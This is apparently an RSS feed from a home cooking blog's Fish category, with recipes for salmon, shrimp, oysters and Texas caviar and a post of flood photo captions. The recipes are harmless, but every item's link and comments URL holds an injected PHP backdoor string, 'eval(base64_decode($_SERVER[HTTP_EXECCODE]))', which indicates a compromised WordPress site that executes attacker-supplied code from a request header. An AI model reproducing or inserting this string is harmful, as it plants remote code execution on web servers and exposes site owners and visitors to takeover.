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	<title>Down Home Kitchen &#187; Fish</title>
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	<description>Food with the down home flair</description>
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		<title>Victims Trying to Survive&#8230;&#8230;</title>
		<link>http://nitawatson.com/blog5/2009/10/10/victims-trying-to-survive/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2009/10/10/victims-trying-to-survive/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 14:44:03 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Fish]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Other]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Spices]]></category>
		<category><![CDATA[Vegetables]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/?p=287</guid>
		<description><![CDATA[





A resident shops for bread from a flooded bakery at Santa Cruz township, Laguna province soputh of Manila, Philippines Sunday Oct. 4, 2009. Tropical storm Ketsana brought the worst flooding in metropolitan Manila and neighboring provinces in more than 40 years.



Evacuees eat their meals as they remain housed in a covered court at an elementary [...]]]></description>
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<div id="photoProvider">A resident shops for bread from a flooded bakery at Santa Cruz township, Laguna province soputh of Manila, Philippines Sunday Oct. 4, 2009. Tropical storm Ketsana brought the worst flooding in metropolitan Manila and neighboring provinces in more than 40 years.</div>
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<div id="photo-info">Evacuees eat their meals as they remain housed in a covered court at an elementary school in San Pedro township, Laguna province south of Manila, Philippines as their homes are still inundated by floodwaters Sunday Oct. 4, 2009.</div>
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		</item>
		<item>
		<title>Salmon &amp; Salsa</title>
		<link>http://nitawatson.com/blog5/2009/08/08/salmon-salsa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2009/08/08/salmon-salsa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 08 Aug 2009 19:17:10 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Fish]]></category>
		<category><![CDATA[Fruits]]></category>
		<category><![CDATA[Other]]></category>
		<category><![CDATA[Recipes]]></category>
		<category><![CDATA[Sauces]]></category>
		<category><![CDATA[Seafood]]></category>
		<category><![CDATA[Spices]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Vegetables]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2009/08/08/salmon-salsa/</guid>
		<description><![CDATA[While I&#8217;m not a big fan of salmon, several of my family members are.
Herbed Salmon
1 lb. salmon fillet, skin removed
1 t. salt
1/2 t. pepper
1 T. thyme, chopped
3 T. olive oil
Salsa Recipe Follows
Rub salmon with salt &#38; pepper, sprinkle or rub with herbs till coated evenly, let stand covered at room temperature for 30 mins.  Heat [...]]]></description>
			<content:encoded><![CDATA[<p>While I&#8217;m not a big fan of salmon, several of my family members are.</p>
<p><strong>Herbed Salmon</strong><br />
1 lb. salmon fillet, skin removed</p>
<p>1 t. salt</p>
<p>1/2 t. pepper</p>
<p>1 T. thyme, chopped</p>
<p>3 T. olive oil</p>
<p>Salsa Recipe Follows</p>
<p>Rub salmon with salt &amp; pepper, sprinkle or rub with herbs till coated evenly, let stand covered at room temperature for 30 mins.  Heat skillet over high heat, add oil, cook salmon 4 to 5 mins. per side, till crispy on both sides, about medium cooked, move to individual plates and top with salsa.  Serves 4</p>
<p><strong>Cucumber &amp; Peach Salsa</strong></p>
<p>Remove peel &amp; pits and finely dice 3 ripe firm peaches.  Finely dice cucumber, 1 sm. red onion, 1/4 c. fresh mint leaves.   Combine peaches and other ingreds.  in bowl with juice of 1 lime, 1 orange, 1/2 t. salt &amp; 1/4 t. pepper, cover and refrigerate, till served.<script type="text/javascript">// <![CDATA[
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		</item>
		<item>
		<title>Salads for a Main Course</title>
		<link>http://nitawatson.com/blog5/2008/09/18/salads-for-a-main-course/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/09/18/salads-for-a-main-course/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 14:04:04 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Fish]]></category>
		<category><![CDATA[Meat]]></category>
		<category><![CDATA[Other]]></category>
		<category><![CDATA[Salads]]></category>
		<category><![CDATA[Vegetables]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/09/18/salads-for-a-main-course/</guid>
		<description><![CDATA[These salads as quick and easy to assemble, on a hot day, cutting time in the kitchen.  Entree Salads are a good choice for warm evenings and make a good meal.  This is a great way to use left over meat and is very filling. 
I like to use tuna or salmon, with these salads, when [...]]]></description>
			<content:encoded><![CDATA[<p>These salads as quick and easy to assemble, on a hot day, cutting time in the kitchen.  Entree Salads are a good choice for warm evenings and make a good meal.  This is a great way to use left over meat and is very filling. <br />
I like to use tuna or salmon, with these salads, when I want something cool and not heavy.  Your choice of salad dressing can compliment and enhance the flavors.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Marky&#8217;s Caviar</title>
		<link>http://nitawatson.com/blog5/2008/06/08/markys-caviar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/06/08/markys-caviar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 15:39:57 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Dips]]></category>
		<category><![CDATA[Fish]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Seafood]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/06/08/markys-caviar/</guid>
		<description><![CDATA[Wow, I just visited a website, filled with all kinds of caviar.  http://www.markys.com, is a great place to find just the type your interested in serving.  I haven&#8217;t indulged in recent years, because of the economy, but there are those of you out there that entertain, frequently and I&#8217;m sure your ready for [...]]]></description>
			<content:encoded><![CDATA[<p>Wow, I just visited a website, filled with all kinds of caviar.  http://www.markys.com, is a great place to find just the type your interested in serving.  I haven&#8217;t indulged in recent years, because of the economy, but there are those of you out there that entertain, frequently and I&#8217;m sure your ready for a great place to shop.  Check out <a href="http://www.markys.com">Marky&#8217;s</a>, I&#8217;m sure you&#8217;ll find what your looking for and see many more caviar&#8217;s you&#8217;ll just have to have on hand.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>TEXAS Caviar</title>
		<link>http://nitawatson.com/blog5/2008/05/31/texas-caviar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/05/31/texas-caviar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 31 May 2008 13:18:55 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Dips]]></category>
		<category><![CDATA[Fish]]></category>
		<category><![CDATA[Other]]></category>
		<category><![CDATA[Vegetables]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/05/31/texas-caviar/</guid>
		<description><![CDATA[


A friend sent me this recipe, and I&#8217;m passing it on to you.
2  &#8211; 16 oz. cans Black eyed  peas drained
1 – 8 oz can of  corn
2 – 4oz. jars of diced  pimentos
1 green bell pepper  chopped
1 small onion  chopped
3 or 4 avocados  chopped
1 jalapeno pepper seeded and [...]]]></description>
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<div class="Section1">
<p class="MsoNormal">A friend sent me this recipe, and I&#8217;m passing it on to you.</p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">2  &#8211; 16 oz. cans Black eyed  peas drained</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">1 – 8 oz can of  corn</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">2 – 4oz. jars of diced  pimentos</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">1 green bell pepper  chopped</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">1 small onion  chopped</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">3 or 4 avocados  chopped</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">1 jalapeno pepper seeded and  chopped</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt"> </span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">Marinade:</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt"> </span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">¾ cup Vegetable  oil</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">¾ cup Apple cider  vinegar</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">¾ cup Sugar</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">1 -2 Tablespoons Louisiana  hot sauce</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">½ t of garlic  salt</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">Salt and pepper to  taste</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt"> </span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">Mix the marinade in a large  bowl and add main ingredients. Allow to marinate for  4- 24  hours.</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt"> </span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 16pt">Drain marinade and  serve</span></strong>.<span style="font-size: 16pt" /></p>
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		</item>
		<item>
		<title>Salmon Croquettes</title>
		<link>http://nitawatson.com/blog5/2008/03/14/salmon-croquettes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/03/14/salmon-croquettes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 14 Mar 2008 15:44:21 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Fish]]></category>
		<category><![CDATA[Idea's]]></category>
		<category><![CDATA[Main Courses]]></category>
		<category><![CDATA[Meat]]></category>
		<category><![CDATA[Seafood]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/03/14/salmon-croquettes/</guid>
		<description><![CDATA[1 can salmon, pink
1 c. bread crumbs or crushed crackers
1 tsp. nutmeg
1 tsp. oregano
1 tsp. basil
1 tsp. garlic powder
1/4 c. milk
1 T. flour
1 egg
1/4 c. oil
salt &#038; pepper to taste
In mixing bowl, place all ingredients except oil.  Mix well to moisten.  In skillet, place oil.  Shape salmon mix into patties, and place [...]]]></description>
			<content:encoded><![CDATA[<p>1 can salmon, pink</p>
<p>1 c. bread crumbs or crushed crackers</p>
<p>1 tsp. nutmeg</p>
<p>1 tsp. oregano</p>
<p>1 tsp. basil</p>
<p>1 tsp. garlic powder</p>
<p>1/4 c. milk</p>
<p>1 T. flour</p>
<p>1 egg</p>
<p>1/4 c. oil</p>
<p>salt &#038; pepper to taste</p>
<p>In mixing bowl, place all ingredients except oil.  Mix well to moisten.  In skillet, place oil.  Shape salmon mix into patties, and place in hot oil.  Fry till side is brown &#038; turn, brown other side, drain and serve.</p>
<p>Some like to coat patties in cornmeal, before frying.</p>
]]></content:encoded>
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		<item>
		<title>Cajun Oyster Soup</title>
		<link>http://nitawatson.com/blog5/2008/03/08/cajun-oyster-soup/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/03/08/cajun-oyster-soup/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 08 Mar 2008 01:50:33 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Cajun]]></category>
		<category><![CDATA[Fish]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Soups]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/03/08/cajun-oyster-soup/</guid>
		<description><![CDATA[2 c. milk
1 qt. oysters in liquor
4 T. butter
1 T. flour
2 egg yolks
1 c. cream
1 tsp. parsley
1/2 sm. onion, chopped
1 rib celery, chopped
salt &#038; pepper to taste
Scald milk, drain oysters, save liquor, melt butter, add oysters &#038; simmer oysters till edges curl.  Blend flour into butter.  Beat egg yolks &#038; liquor add to [...]]]></description>
			<content:encoded><![CDATA[<p>2 c. milk</p>
<p>1 qt. oysters in liquor</p>
<p>4 T. butter</p>
<p>1 T. flour</p>
<p>2 egg yolks</p>
<p>1 c. cream</p>
<p>1 tsp. parsley</p>
<p>1/2 sm. <a href="http://www.nitawatson.com/blog4">onion</a>, chopped</p>
<p>1 rib celery, chopped</p>
<p>salt &#038; pepper to taste</p>
<p>Scald milk, drain oysters, save liquor, melt butter, add oysters &#038; simmer oysters till edges curl.  Blend flour into butter.  Beat egg yolks &#038; liquor add to milk, mix into butter/flour mix till smooth.  Boil 1 min. add cream, parsley, celery,<a href="http://www.nitawatson.com/blog4"> onion</a> &#038; seasonings. Heat through, do not boil.</p>
<p>Serves 4 to 6.</p>
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		</item>
		<item>
		<title>Good Carbs/Bad Carbs</title>
		<link>http://nitawatson.com/blog5/2008/03/05/good-carbsbad-carbs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/03/05/good-carbsbad-carbs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 05 Mar 2008 16:58:34 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Casseroles]]></category>
		<category><![CDATA[Desserts]]></category>
		<category><![CDATA[Dips]]></category>
		<category><![CDATA[Fish]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Gravys]]></category>
		<category><![CDATA[Idea's]]></category>
		<category><![CDATA[Main Courses]]></category>
		<category><![CDATA[Meat]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Pastrys]]></category>
		<category><![CDATA[Sauces]]></category>
		<category><![CDATA[Seafood]]></category>
		<category><![CDATA[Soups]]></category>
		<category><![CDATA[Tex-Mex]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Vegetables]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/03/05/good-carbsbad-carbs/</guid>
		<description><![CDATA[There are two types of carbohydrates &#8211; simple and complex. Simple carbohydrates are usually sweet and can include cakes, candies and other sugary foods. Some foods such as peaches, melons and apples are simple carbs. Complex carbs include whole grain pasta, brown rice, oats, vegetables and whole grain cereals. For the most part, try to [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-style: italic; font-size: 130%"><span style="color: #3333ff">There are two types of carbohydrates &#8211; simple and complex. <a href="http://www.nitawatson.com">Simple</a> carbohydrates are usually sweet and can include cakes, candies and other sugary foods. Some foods such as peaches, <a href="http://www.nitawatson/blog4">melons</a> and apples are <a href="http://www.nitawatson.com">simple</a> carbs. Complex carbs include whole grain pasta, brown rice, oats, <a href="http://www.nitawatson.com/blog4">vegetables</a> and whole grain cereals. For the most part, try to stick with complex carbs which take longer to digest and are rich in fiber, vitamins and minerals. </span></span><span style="font-style: italic; color: #ff0000; font-size: 130%">Make your food complex. as in carbohydrates. White bread, cookies, pasta and other highly-processed foods give carbs a bad <a href="http://www.nitawatson.com">name</a>.</span></p>
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		</item>
		<item>
		<title>Shrimp Dip</title>
		<link>http://nitawatson.com/blog5/2008/02/21/shrimp-dip/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/02/21/shrimp-dip/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 21 Feb 2008 23:30:33 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Dips]]></category>
		<category><![CDATA[Fish]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/02/21/shrimp-dip/</guid>
		<description><![CDATA[
1 c. shrimp, boiled, peeled &#038; chopped
1 (16 oz.) tub sour cream
1 tsp. basil
1 tsp. oregano
2 tsps. lemon juice
salt &#038; pepper to taste
In bowl mix together above ingredients, set aside for 15 min., stir again to blend flavors.  Chill &#038; serve with party platters.
]]></description>
			<content:encoded><![CDATA[<p><img width="219" height="162" alt="001.JPG" id="image146" src="http://nitawatson.com/blog5/wp-content/uploads/2008/06/001.JPG" /></p>
<p>1 c. shrimp, boiled, peeled &#038; chopped</p>
<p>1 (16 oz.) tub sour cream</p>
<p>1 tsp. basil</p>
<p>1 tsp. oregano</p>
<p>2 tsps. <a href="http://www.nitawatson.com/blog4">lemon</a> juice</p>
<p>salt &#038; <a href="http://www.nitawatson.com/blog4">pepper</a> to taste</p>
<p>In bowl mix together above ingredients, set aside for 15 min., stir again to blend flavors.  Chill &#038; serve with party platters.</p>
]]></content:encoded>
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		<item>
		<title>Peel &amp; Eat Shrimp</title>
		<link>http://nitawatson.com/blog5/2008/02/01/peel-eat-shrimp/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://nitawatson.com/blog5/2008/02/01/peel-eat-shrimp/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 01 Feb 2008 18:43:20 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Fish]]></category>
		<category><![CDATA[Food]]></category>
		<category><![CDATA[Main Courses]]></category>
		<category><![CDATA[Seafood]]></category>

		<guid isPermaLink="false">http://nitawatson.com/blog5/2008/02/01/peel-eat-shrimp/</guid>
		<description><![CDATA[1 to 2 lbs. shrimp, raw or frozen(no heads)
1 tsp. oregano
1 tsp. red pepper,crushed
1 tsp. basil 
1 tsp. garlic powder
salt &#038; pepper to taste
lemon slices for garnish
In lg. pot, place shrimp &#038; seasonings, with water to cover.  Bring to boil, reduce heat and boil for 3 to 4 mins..  Do not over cook.  Drain &#038; serve warm [...]]]></description>
			<content:encoded><![CDATA[<p>1 to 2 lbs. shrimp, raw or frozen(no heads)</p>
<p>1 tsp. oregano</p>
<p>1 tsp. red pepper,crushed</p>
<p>1 tsp. basil </p>
<p>1 tsp. garlic powder</p>
<p>salt &#038; pepper to taste</p>
<p>lemon slices for garnish</p>
<p>In lg. pot, place shrimp &#038; seasonings, with water to cover.  Bring to boil, reduce heat and boil for 3 to 4 mins..  Do not over cook.  Drain &#038; serve warm or chilled with lemon slices.</p>
<p> </p>
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